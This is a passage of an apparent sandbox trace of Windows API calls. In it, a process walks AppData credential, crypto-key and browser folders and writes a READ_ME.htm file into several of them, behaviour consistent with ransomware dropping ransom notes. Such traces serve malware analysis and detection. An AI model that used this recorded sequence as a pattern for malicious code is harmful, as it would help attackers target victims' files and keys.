ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1 [0143.510] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1 [0143.510] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda27f60, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0143.510] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62b0b780, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf29f8e64, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect", cAlternateFileName="")) returned 1 [0143.510] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x96779c3, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemCertificates", cAlternateFileName="SYSTEM~1")) returned 1 [0143.510] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0143.510] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 0 [0143.510] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.511] SetErrorMode (uMode=0x0) returned 0x1 [0143.512] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x36 [0143.512] SetErrorMode (uMode=0x1) returned 0x0 [0143.512] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\credentials\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.513] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.514] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.514] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.514] SetErrorMode (uMode=0x0) returned 0x1 [0143.514] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials", lpFilePart=0x0) returned 0x36 [0143.514] SetErrorMode (uMode=0x1) returned 0x0 [0143.514] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\credentials\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.515] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.515] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xea43994d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.515] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.515] SetErrorMode (uMode=0x0) returned 0x1 [0143.515] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\READ_ME.htm", lpFilePart=0x0) returned 0x42 [0143.515] SetErrorMode (uMode=0x1) returned 0x0 [0143.515] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Credentials\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\credentials\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.516] GetFileType (hFile=0x1d0) returned 0x1 [0143.516] SetErrorMode (uMode=0x0) returned 0x1 [0143.516] GetFileType (hFile=0x1d0) returned 0x1 [0143.516] WriteFile (in: hFile=0x1d0, lpBuffer=0x29c6ae8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x29c6ae8*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0143.518] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x31 [0143.518] SetErrorMode (uMode=0x1) returned 0x0 [0143.518] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.519] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.519] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0143.519] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0143.519] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.520] SetErrorMode (uMode=0x0) returned 0x1 [0143.520] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto", lpFilePart=0x0) returned 0x31 [0143.520] SetErrorMode (uMode=0x1) returned 0x0 [0143.520] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.520] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x160a67d7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.520] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 1 [0143.521] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSA", cAlternateFileName="")) returned 0 [0143.521] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.521] SetErrorMode (uMode=0x0) returned 0x1 [0143.521] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x35 [0143.521] SetErrorMode (uMode=0x1) returned 0x0 [0143.521] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto\\rsa\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.522] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.522] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.522] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.522] SetErrorMode (uMode=0x0) returned 0x1 [0143.522] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x35 [0143.523] SetErrorMode (uMode=0x1) returned 0x0 [0143.523] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto\\rsa\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.523] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.523] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x629dac80, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x5af83960, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0143.523] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.524] SetErrorMode (uMode=0x0) returned 0x1 [0143.524] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\READ_ME.htm", lpFilePart=0x0) returned 0x41 [0143.524] SetErrorMode (uMode=0x1) returned 0x0 [0143.524] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto\\rsa\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.524] GetFileType (hFile=0x1d0) returned 0x1 [0143.524] SetErrorMode (uMode=0x0) returned 0x1 [0143.525] GetFileType (hFile=0x1d0) returned 0x1 [0143.525] WriteFile (in: hFile=0x1d0, lpBuffer=0x29ce328*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x29ce328*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0143.526] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\READ_ME.htm", lpFilePart=0x0) returned 0x3d [0143.526] SetErrorMode (uMode=0x1) returned 0x0 [0143.526] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Crypto\\READ_ME.htm" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\crypto\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0143.527] GetFileType (hFile=0x1d0) returned 0x1 [0143.527] SetErrorMode (uMode=0x0) returned 0x1 [0143.527] GetFileType (hFile=0x1d0) returned 0x1 [0143.527] WriteFile (in: hFile=0x1d0, lpBuffer=0x29d28e8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x29d28e8*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0143.529] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3c [0143.529] SetErrorMode (uMode=0x1) returned 0x0 [0143.529] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda27f60, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.530] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda27f60, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.530] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 1 [0143.530] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", cAlternateFileName="QUICKL~1")) returned 0 [0143.530] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0143.530] SetErrorMode (uMode=0x0) returned 0x1 [0143.530] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer", lpFilePart=0x0) returned 0x3c [0143.530] SetErrorMode (uMode=0x1) returned 0x0 [0143.530] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Microsoft\\Internet Explorer\\*" (normalized: "c:\\users\\default\\appdata\\roaming\\microsoft\\internet explorer\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda27f60, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0143.531] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda27f60, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda27f60, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0143.531] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62b318e0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Quick Launch", 